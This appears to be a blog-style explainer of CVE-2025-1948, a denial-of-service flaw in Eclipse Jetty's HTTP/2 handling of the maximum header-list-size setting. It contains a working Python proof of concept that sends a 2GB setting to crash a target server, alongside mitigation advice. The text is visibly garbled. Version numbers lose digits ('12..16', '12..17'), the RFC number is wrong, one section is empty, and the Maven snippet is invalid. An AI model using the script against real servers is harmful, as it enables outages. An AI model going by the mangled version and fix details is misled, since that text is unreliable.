Eclipse Jetty is a popular lightweight, Java-based web server and servlet container, used widely for simple sites and large-scale cloud service backends. But recently, Jetty administrators and Java developers received a wake-up call: CVE-2025-1948, a vulnerability in Jetty’s HTTP/2 implementation, has surfaced. It allows attackers to easily crash Jetty servers by exploiting a missing sanity check in the HTTP/2 protocol’s setting for maximum header size. If your Jetty runs any 12.x version from 12.. to 12..16, you should read on for a practical overview and solutions.

What Happened?

HTTP/2 clients and servers negotiate several settings after establishing a connection, one of which is SETTINGS_MAX_HEADER_LIST_SIZE. This tells the other side how big the header section of an HTTP request or response can be.

But in Jetty versions 12.. through 12..16, no input validation is done when a client suggests a giant value for this setting. Jetty simply tries to allocate a new ByteBuffer sized exactly to the client’s wish—no matter how outrageous!

Result:
A malicious client can send a single HTTP/2 frame asking for a billion-byte buffer, and Jetty will obediently try to allocate it, probably running out of memory and crashing the JVM.

Real-World Impact

- Denial of Service (DoS): Repeated, or even a single, malicious configuration frame can crash your Jetty host instantly.
- Unauthenticated Exploitation: No authentication is required. Any client who can open a HTTP/2 connection can do this.

An Example: How the Attack Works

Suppose you are running Jetty 12..10. Here’s how a minimally-skilled attacker could take your server down using just the HTTP/2 protocol frames.

### 1. Understand the HTTP/2 Settings Frame

2. Malicious Client Code (Python + h2 library)

Let’s craft a tiny Python program using the hyper-h2 HTTP/2 library:

import socket
import h2.connection

# Connect to Jetty server (change host/port as appropriate)
conn = socket.create_connection(("jetty.example.com", 443))
conn = conn  # Use ssl.wrap_socket(conn) for HTTPS

h2_conn = h2.connection.H2Connection()
settings = {h2.settings.SettingCodes.MAX_HEADER_LIST_SIZE: 2_147_483_647}  # 2GB!
h2_conn.initiate_connection(settings=settings)
conn.sendall(h2_conn.data_to_send())

# Wait for response
print(conn.recv(1024))

With one frame, Jetty will attempt to allocate a monster byte buffer—likely crashing the JVM or at least killing the process.

The relevant Jetty code (pseudo)

// Somewhere inside handling the HTTP/2 SETTINGS frame:
int maxHeaderSize = settings.get(SETTINGS_MAX_HEADER_LIST_SIZE); // No upper limit, no checks!
ByteBuffer headerBuffer = ByteBuffer.allocate(maxHeaderSize);    // Imagine this is huge!

If maxHeaderSize is attacker-controlled, and no validation occurs—a remote memory DoS is inevitable.

References

- CVE-2025-1948 - NVD Official Record
- Eclipse Jetty Issue #9734 (the official tracking issue)
- Jetty HTTP/2 Server Docs
- Hyper-h2 library
- HTTP/2 RFC 754 -- Section 6.5.2.

You are using Jetty 12.. to 12..16 (inclusive).

- You have HTTP/2 enabled (the default in most recent configs).

Your JVM is not heavily over-provisioned with memory.

Tip:
Run a tool like the one above (or use Wireshark to inspect for settings frames with massive MAX_HEADER_LIST_SIZE).

1. Upgrade Jetty

The only safe solution is to upgrade Jetty to 12..17 or later, where this bug is fixed.

# Example (if using Maven or Gradle):
<dependency>
  <groupId>org.eclipse.jetty</groupId>
  <artifactId>jetty-server</artifactId>
  <version>12..17</version>
</dependency>

- Restrict HTTP/2 at the network level until patched.
- Place a proxy (like NGINX) in front that limits or validates HTTP/2 settings.

3. Monitor and Alert

Set up JVM and system monitoring to alert on sudden memory depletion, high OOM error rates, or abrupt Jetty exits.

Final Advice

If your platform uses Jetty, check the version *now* and update if necessary! Don’t let a simple protocol setting knock over your whole environment. For more best practices and the very latest advice, bookmark the Jetty security advisories.

Timeline

Published on: 05/08/2025 18:15:41 UTC
Last modified on: 05/12/2025 17:32:52 UTC